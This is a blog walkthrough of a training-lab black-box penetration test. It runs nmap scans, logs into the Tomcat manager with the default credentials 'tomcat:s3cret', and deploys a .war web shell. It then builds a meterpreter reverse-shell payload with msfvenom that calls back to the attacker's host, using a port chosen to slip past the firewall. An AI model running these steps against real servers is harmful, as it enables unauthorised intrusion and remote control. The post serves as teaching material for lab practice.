-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label Penetration Testing Jr. Show all posts
Showing posts with label Penetration Testing Jr. Show all posts
  • Black Box Penetration Testing Security Misconfiguration

     

     

    Black box pentesting



    Black Box Penetration Testing Security Misconfiguration


    We have been engaged in a Black-box Penetration Test (172.16.64.0/24 range). Our goal is to read the flag file on machine. On some of them, you will be required to exploit a remote code execution vulnerability in order to read the flag.

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.




    Goals


    # Discover and exploit all the machines on the network.
    # Read all flag files (one per machine)




    What you will learn


    # How to exploit Apache Tomcat
    # How to exploit SQL Server (In later blog article)
    # Post-exploitation discovery (In later blog article)
    # Arbitrary file upload exploitation




    Recommended tools


    # Metasploit framework (recommended version: 5 or above)
    # Nmap
    # Msfvenom
    # rename CMD




    Step 1: CONNECT TO THE VPN


    Connect to the lab environment using the provided VPN file and as you can see our vulnerable machine IP is 172.16.64.10.

    After connecting to the lab via VPN we will search server IP in our local machine


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ ifconfig 
    eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
            ether b4:b6:86:47:55:83  txqueuelen 1000  (Ethernet)
            RX packets 0  bytes 0 (0.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 0  bytes 0 (0.0 B)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
            inet 127.0.0.1  netmask 255.0.0.0
            inet6 ::1  prefixlen 128  scopeid 0x10<host>
            loop  txqueuelen 1000  (Local Loopback)
            RX packets 3081  bytes 930474 (908.6 KiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 3081  bytes 930474 (908.6 KiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 172.16.64.10  netmask 255.255.255.0  broadcast 0.0.0.0
            inet6 fe80::b89f:18ff:fec4:51a4  prefixlen 64  scopeid 0x20<link>
            ether ba:9f:18:c4:51:a4  txqueuelen 1000  (Ethernet)
            RX packets 608  bytes 90706 (88.5 KiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 939  bytes 1104897 (1.0 MiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.35.25  netmask 255.255.255.0  broadcast 192.168.35.255
            inet6 fe80::aa80:f129:e78d:aa96  prefixlen 64  scopeid 0x20<link>
            inet6 2409:4064:11d:95b7:714b:9836:314f:6787  prefixlen 64  scopeid 0x0<global>
            ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
            RX packets 34668  bytes 30641232 (29.2 MiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 28045  bytes 8039781 (7.6 MiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
                                                                                                                                                                                                
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
     
     
     
     

     

    You ensure that you have received an IP range within the 172.16.64.0/24 range.

     

    Also read Penetration Testing Fundamentals


    Step 2: DISCOVER LIVE HOSTS ON THE NETWORK

    Using nmap, scan for live hosts on the 172.16.64.0/24 network.
     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ sudo nmap -sn 172.16.64.0/24 -oN discovery.nmap
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 20:07 IST
    Nmap scan report for 172.16.64.101
    Host is up (0.61s latency).
    MAC Address: 00:50:56:A0:8C:D8 (VMware)
    Nmap scan report for 172.16.64.140
    Host is up (0.48s latency).
    MAC Address: 00:50:56:A0:94:12 (VMware)
    Nmap scan report for 172.16.64.182
    Host is up (0.57s latency).
    MAC Address: 00:50:56:A0:B3:4D (VMware)
    Nmap scan report for 172.16.64.199
    Host is up (0.41s latency).
    MAC Address: 00:50:56:A0:06:62 (VMware)
    Nmap scan report for 172.16.64.10
    Host is up.
    Nmap done: 256 IP addresses (5 hosts up) scanned in 15.90 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    

     

     

    Sort the discovered addresses, excluding your own IP address, and write the rest to a file. This file will be fed to nmap in order to perform a full TCP scan.

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ cat discovery.nmap | grep for                   
    Nmap scan report for 172.16.64.101
    Nmap scan report for 172.16.64.140
    Nmap scan report for 172.16.64.182
    Nmap scan report for 172.16.64.199
    Nmap scan report for 172.16.64.10
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ cat discovery.nmap | grep for | grep -v "\.13"
    Nmap scan report for 172.16.64.101
    Nmap scan report for 172.16.64.140
    Nmap scan report for 172.16.64.182
    Nmap scan report for 172.16.64.199
    Nmap scan report for 172.16.64.10
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ cat discovery.nmap | grep for | grep -v "\.13" | cut -d " " -f 5
    172.16.64.101
    172.16.64.140
    172.16.64.182
    172.16.64.199
    172.16.64.10
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    
    

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ cat discovery.nmap | grep for | grep -v "\.13" | cut -d " " -f 5 > ips.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ cat ips.txt                                                               
    172.16.64.101
    172.16.64.140
    172.16.64.182
    172.16.64.199
    172.16.64.10
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    
    

     

     

    Use nmap with the following options:



        -sV for version identification
        -n for disabling reverse DNS lookup
        -v for Verbose
        -Pn to assume the host is alive
        -p- to scan all the ports
        -T4 to speed things up
        -iL to use a list of IPs as input (ips.txt)
        --open to see just open ports and not closed / filtered ones
        -A for detailed information and running some scripts


    nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open

    You will come across something similar to the below.


    Note: If the .101 machine doesn't appear in the results. Please try again with the -sn nmap option.

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ sudo nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 20:15 IST
    NSE: Loaded 155 scripts for scanning.
    NSE: Script Pre-scanning.
    Initiating NSE at 20:15
    Completed NSE at 20:15, 0.00s elapsed
    Initiating NSE at 20:15
    Completed NSE at 20:15, 0.00s elapsed
    Initiating NSE at 20:15
    Completed NSE at 20:15, 0.00s elapsed
    Initiating ARP Ping Scan at 20:15
    Scanning 4 hosts [1 port/host]
    Completed ARP Ping Scan at 20:15, 1.18s elapsed (4 total hosts)
    Initiating SYN Stealth Scan at 20:15
    Scanning 4 hosts [65535 ports/host]
    Discovered open port 139/tcp on 172.16.64.199
    Discovered open port 80/tcp on 172.16.64.140
    Discovered open port 445/tcp on 172.16.64.199
    Discovered open port 22/tcp on 172.16.64.182
    Discovered open port 22/tcp on 172.16.64.101
    Discovered open port 8080/tcp on 172.16.64.101
    Discovered open port 135/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 1.37% done; ETC: 20:52 (0:37:12 remaining)
    Discovered open port 49666/tcp on 172.16.64.199
    Discovered open port 49943/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 4.48% done; ETC: 20:37 (0:21:40 remaining)
    SYN Stealth Scan Timing: About 8.66% done; ETC: 20:32 (0:16:00 remaining)
    SYN Stealth Scan Timing: About 13.43% done; ETC: 20:30 (0:13:00 remaining)
    SYN Stealth Scan Timing: About 18.27% done; ETC: 20:28 (0:11:15 remaining)
    SYN Stealth Scan Timing: About 23.57% done; ETC: 20:28 (0:09:47 remaining)
    Discovered open port 59919/tcp on 172.16.64.101
    SYN Stealth Scan Timing: About 28.77% done; ETC: 20:27 (0:08:43 remaining)
    Discovered open port 49665/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 34.30% done; ETC: 20:26 (0:07:42 remaining)
    SYN Stealth Scan Timing: About 39.83% done; ETC: 20:26 (0:06:49 remaining)
    SYN Stealth Scan Timing: About 45.07% done; ETC: 20:26 (0:06:07 remaining)
    SYN Stealth Scan Timing: About 50.15% done; ETC: 20:26 (0:05:29 remaining)
    SYN Stealth Scan Timing: About 55.53% done; ETC: 20:26 (0:04:54 remaining)
    Discovered open port 49670/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 61.61% done; ETC: 20:26 (0:04:19 remaining)
    SYN Stealth Scan Timing: About 66.88% done; ETC: 20:26 (0:03:40 remaining)
    Discovered open port 49668/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 71.84% done; ETC: 20:26 (0:03:06 remaining)
    Discovered open port 9080/tcp on 172.16.64.101
    SYN Stealth Scan Timing: About 77.49% done; ETC: 20:26 (0:02:29 remaining)
    SYN Stealth Scan Timing: About 82.70% done; ETC: 20:26 (0:01:54 remaining)
    Discovered open port 49664/tcp on 172.16.64.199
    Discovered open port 49669/tcp on 172.16.64.199
    SYN Stealth Scan Timing: About 88.14% done; ETC: 20:26 (0:01:17 remaining)
    SYN Stealth Scan Timing: About 93.51% done; ETC: 20:26 (0:00:42 remaining)
    Discovered open port 49667/tcp on 172.16.64.199
    Discovered open port 1433/tcp on 172.16.64.199
    Completed SYN Stealth Scan against 172.16.64.101 in 703.91s (3 hosts left)
    Completed SYN Stealth Scan against 172.16.64.140 in 705.14s (2 hosts left)
    Completed SYN Stealth Scan against 172.16.64.182 in 706.36s (1 host left)
    Completed SYN Stealth Scan at 20:27, 723.53s elapsed (262140 total ports)
    Initiating Service scan at 20:27
    Scanning 18 services on 4 hosts
    Service scan Timing: About 55.56% done; ETC: 20:28 (0:00:40 remaining)
    Completed Service scan at 20:28, 78.82s elapsed (18 services on 4 hosts)
    Initiating OS detection (try #1) against 4 hosts
    Retrying OS detection (try #2) against 4 hosts
    NSE: Script scanning 4 hosts.
    Initiating NSE at 20:28
    Completed NSE at 20:29, 25.07s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 3.96s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.02s elapsed
    Nmap scan report for 172.16.64.101
    Host is up (0.66s latency).
    Not shown: 65531 closed tcp ports (reset)
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
    |   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
    |_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
    8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache2 Ubuntu Default Page: It works
    | http-methods: 
    |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
    |_  Potentially risky methods: PUT DELETE
    9080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
    | http-methods: 
    |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
    |_  Potentially risky methods: PUT DELETE
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache2 Ubuntu Default Page: It works
    59919/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Apache2 Ubuntu Default Page: It works
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    MAC Address: 00:50:56:A0:8C:D8 (VMware)
    Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
    No exact OS matches for host (test conditions non-ideal).
    Uptime guess: 0.103 days (since Mon Jan 17 18:01:02 2022)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=262 (Good luck!)
    IP ID Sequence Generation: All zeros
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    TRACEROUTE
    HOP RTT       ADDRESS
    1   658.95 ms 172.16.64.101
    
    Nmap scan report for 172.16.64.140
    Host is up (0.55s latency).
    Not shown: 65534 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: 404 HTML Template by Colorlib
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    MAC Address: 00:50:56:A0:94:12 (VMware)
    Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 4.9 (95%)
    No exact OS matches for host (test conditions non-ideal).
    Uptime guess: 0.018 days (since Mon Jan 17 20:04:08 2022)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=256 (Good luck!)
    IP ID Sequence Generation: All zeros
    
    TRACEROUTE
    HOP RTT       ADDRESS
    1   552.41 ms 172.16.64.140
    
    Nmap scan report for 172.16.64.182
    Host is up (0.52s latency).
    Not shown: 65534 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
    |   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
    |_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
    MAC Address: 00:50:56:A0:B3:4D (VMware)
    Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 4.4 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
    No exact OS matches for host (test conditions non-ideal).
    Uptime guess: 0.034 days (since Mon Jan 17 19:41:02 2022)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=257 (Good luck!)
    IP ID Sequence Generation: All zeros
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    TRACEROUTE
    HOP RTT       ADDRESS
    1   519.68 ms 172.16.64.182
    
    Nmap scan report for 172.16.64.199
    Host is up (0.67s latency).
    Not shown: 65498 closed tcp ports (reset), 25 filtered tcp ports (no-response)
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT      STATE SERVICE       VERSION
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp   open  microsoft-ds?
    1433/tcp  open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000.00; RTM
    | ms-sql-ntlm-info: 
    |   Target_Name: WIN10
    |   NetBIOS_Domain_Name: WIN10
    |   NetBIOS_Computer_Name: WIN10
    |   DNS_Domain_Name: WIN10
    |   DNS_Computer_Name: WIN10
    |_  Product_Version: 10.0.10586
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Issuer: commonName=SSL_Self_Signed_Fallback
    | Public Key type: rsa
    | Public Key bits: 1024
    | Signature Algorithm: sha1WithRSAEncryption
    | Not valid before: 2022-01-17T10:00:28
    | Not valid after:  2052-01-17T10:00:28
    | MD5:   69ea 1b59 e56e 0bda 87ba e1af f0a1 97f6
    |_SHA-1: 057a fed7 d868 d64d 7d63 0f60 fd5a 21ee 31df 2889
    |_ssl-date: 2022-01-17T14:58:35+00:00; -48s from scanner time.
    49664/tcp open  msrpc         Microsoft Windows RPC
    49665/tcp open  msrpc         Microsoft Windows RPC
    49666/tcp open  msrpc         Microsoft Windows RPC
    49667/tcp open  msrpc         Microsoft Windows RPC
    49668/tcp open  msrpc         Microsoft Windows RPC
    49669/tcp open  msrpc         Microsoft Windows RPC
    49670/tcp open  msrpc         Microsoft Windows RPC
    49943/tcp open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000
    | ms-sql-ntlm-info: 
    |   Target_Name: WIN10
    |   NetBIOS_Domain_Name: WIN10
    |   NetBIOS_Computer_Name: WIN10
    |   DNS_Domain_Name: WIN10
    |   DNS_Computer_Name: WIN10
    |_  Product_Version: 10.0.10586
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Issuer: commonName=SSL_Self_Signed_Fallback
    | Public Key type: rsa
    | Public Key bits: 1024
    | Signature Algorithm: sha1WithRSAEncryption
    | Not valid before: 2022-01-17T10:00:28
    | Not valid after:  2052-01-17T10:00:28
    | MD5:   69ea 1b59 e56e 0bda 87ba e1af f0a1 97f6
    |_SHA-1: 057a fed7 d868 d64d 7d63 0f60 fd5a 21ee 31df 2889
    |_ssl-date: 2022-01-17T14:58:35+00:00; -48s from scanner time.
    MAC Address: 00:50:56:A0:06:62 (VMware)
    Aggressive OS guesses: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows 7 (93%), Microsoft Windows 7 Professional (93%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (93%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (93%)
    No exact OS matches for host (test conditions non-ideal).
    Uptime guess: 0.029 days (since Mon Jan 17 19:47:24 2022)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=260 (Good luck!)
    IP ID Sequence Generation: Incremental
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-time: 
    |   date: 2022-01-17T14:58:14
    |_  start_date: 2022-01-17T10:00:24
    | ms-sql-info: 
    |   172.16.64.199:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2014 RTM
    |       number: 12.00.2000.00
    |       Product: Microsoft SQL Server 2014
    |       Service pack level: RTM
    |       Post-SP patches applied: false
    |_    TCP port: 1433
    | smb2-security-mode: 
    |   3.1.1: 
    |_    Message signing enabled but not required
    | nbstat: NetBIOS name: WIN10, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a0:06:62 (VMware)
    | Names:
    |   WIN10<00>            Flags: <unique><active>
    |   WORKGROUP<00>        Flags: <group><active>
    |_  WIN10<20>            Flags: <unique><active>
    |_clock-skew: mean: -47s, deviation: 0s, median: -48s
    
    TRACEROUTE
    HOP RTT       ADDRESS
    1   668.89 ms 172.16.64.199
    
    Initiating SYN Stealth Scan at 20:29
    Scanning 172.16.64.10 [65535 ports]
    Discovered open port 22/tcp on 172.16.64.10
    Completed SYN Stealth Scan at 20:29, 1.05s elapsed (65535 total ports)
    Initiating Service scan at 20:29
    Scanning 1 service on 172.16.64.10
    Completed Service scan at 20:29, 0.08s elapsed (1 service on 1 host)
    Initiating OS detection (try #1) against 172.16.64.10
    NSE: Script scanning 172.16.64.10.
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.26s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.00s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.00s elapsed
    Nmap scan report for 172.16.64.10
    Host is up (0.00016s latency).
    Not shown: 65534 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.7p1 Debian 2 (protocol 2.0)
    | ssh-hostkey: 
    |   3072 29:d9:fa:46:f2:08:57:de:3f:1a:80:dd:ae:c7:e3:b0 (RSA)
    |   256 38:f5:af:96:a9:2d:f8:62:0f:a7:fb:2a:6b:01:34:28 (ECDSA)
    |_  256 8b:c2:6f:ab:e7:65:e6:9e:e4:9b:63:36:4d:4d:df:e6 (ED25519)
    Device type: general purpose
    Running: Linux 2.6.X
    OS CPE: cpe:/o:linux:linux_kernel:2.6.32
    OS details: Linux 2.6.32
    Uptime guess: 37.022 days (since Sat Dec 11 19:57:11 2021)
    Network Distance: 0 hops
    TCP Sequence Prediction: Difficulty=264 (Good luck!)
    IP ID Sequence Generation: All zeros
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    NSE: Script Post-scanning.
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.00s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.00s elapsed
    Initiating NSE at 20:29
    Completed NSE at 20:29, 0.00s elapsed
    Post-scan script results:
    | ssh-hostkey: Possible duplicate hosts
    | Key 256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:
    |   172.16.64.101
    |   172.16.64.182
    | Key 256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:
    |   172.16.64.101
    |   172.16.64.182
    | Key 2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17
    |   172.16.64.101
    |_  172.16.64.182
    Read data files from: /usr/bin/../share/nma
    OS and Service detection performed. Please g/submit/ .
    Nmap done: 5 IP addresses (5 hosts up) scan
               Raw packets sent: 412252 (18.148
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
    └─$ 
     
     
     
     

    NOTE - So as you are able to see the above given scanning output, there are many such IP Addresses which we know as vulnerable machines. We will discuss all these machines which are Exploitable in our upcoming blog with practical. So for now we're gonna use this IP address! for exploitation or Security misconfiguration.

     

     

    Step 3: TRY TO IDENTIFY AND EXPLOIT ANY TOMCAT MISCONFIGURATIONS

     

     

    Nmap scan report for 172.16.64.101
    Host is up (0.66s latency).
    Not shown: 65531 closed tcp ports (reset)
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
    |   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
    |_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
    8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache2 Ubuntu Default Page: It works
    | http-methods: 
    |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
    |_  Potentially risky methods: PUT DELETE
    9080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
    | http-methods: 
    |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
    |_  Potentially risky methods: PUT DELETE
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache2 Ubuntu Default Page: It works
    59919/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Apache2 Ubuntu Default Page: It works
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    MAC Address: 00:50:56:A0:8C:D8 (VMware)
    Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
    No exact OS matches for host (test conditions non-ideal).
    Uptime guess: 0.103 days (since Mon Jan 17 18:01:02 2022)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=262 (Good luck!)
    IP ID Sequence Generation: All zeros
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    TRACEROUTE
    HOP RTT       ADDRESS
    1   658.95 ms 172.16.64.101
    

     

     

    Let's go to Tomcat's default directory /manager/html that holds the admin panel. Here we will use the most common default credentials for Tomcat.


    Also read Penetration Testing hired by the company Hacking Truth to perform security tests on their internal web application and machines


    Default Credentials - https://github.com/whoiskumaratul/Default-Credentials-username-password/blob/main/Apache-Tomcat-Default-Passwords.txt


     


    Note: If the credentials above don't grant you access to the admin panel, you may have previously performed numerous unsuccessful login attempts that caused an account lock. If this is the case, reset the lab (Stop button then Reset button) and immediately try the credentials above.


     

    Black Box Penetration Testing Security Misconfiguration
     

     

     

    tomcat:s3cret

     

    After doing so, we are luckily welcomed by Tomcat's manager page.

     

    In order to exploit the server, we need to deploy a malicious web application that will give us access to the underlying operating system; this is known as a web shell. When dealing with Tomcat the malicious web shell to upload should be in .war format.

    You can find below such a web shell of type war.

    https://github.com/BustedSec/webshell/blob/master/webshell.war


    Once we download the above war, we need to deploy it.

    At the bottom of the page there is an upload form to help you with that.

     

     

    Black Box Penetration Testing Security Misconfiguration



    After the malicious war is deployed, we can access and start the malicious application from the manager page, as follows (Press the Start button).



     

    Black Box Penetration Testing Security Misconfiguration

     

    If the malicious application does not work out of the box, manually append "/index.jsp" to the URL, as follows.

     

     

    Black Box Penetration Testing Security Misconfiguration

     

     

    Step 4: OBTAIN A REVERSE SHELL


    In order to upgrade to a reverse shell, we need to set up a Metasploit listener and generate a suitable payload. However, the meterpreter .war payload is sometimes not functioning properly and you might get stuck at this point. So, instead do the following.


    Start by creating a Metasploit listener, as follows.


    # use exploit/multi/handler
    #
    set payload linux/x64/meterpreter_reverse_tcp
    #
    set lhost 172.16.64.10
    #
    set lport 59919
    #
    run 

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ msfconsole -q                                                                          
    [?] Would you like to init the webservice? (Not Required) [no]: 
    Clearing http web data service credentials in msfconsole
    Running the 'init' command for the database:
    Existing database found, attempting to start it
    Starting database at /home/hackerboy/.msf4/db...success
    This copy of metasploit-framework is more than two weeks old.
     Consider running 'msfupdate' to update to the latest version.
    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp 
    payload => linux/x64/meterpreter_reverse_tcp
    msf6 exploit(multi/handler) > set lhost 172.16.64.10
    lhost => 172.16.64.10
    msf6 exploit(multi/handler) > set lport 59919
    lport => 59919
    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 172.16.64.10:59919 
    
    

     


    Note that port 59919 is used, as it is one of ports that the remote machine listens on. This is often the case that when choosing one of used ports, we automatically can bypass a firewall, since internal infrastructure services are often listening only on firewall-allowed ports.


    Also read Black Box Penetration Testing



    Create a matching meterpreter-based linux executable using msfvenom, as follows.

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.10 lport=59919 -f elf -o meter


     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
    └─$ msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.10 lport=59919 -f elf -o meter 
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 1037680 bytes
    Final size of elf file: 1037680 bytes
    Saved as: meter
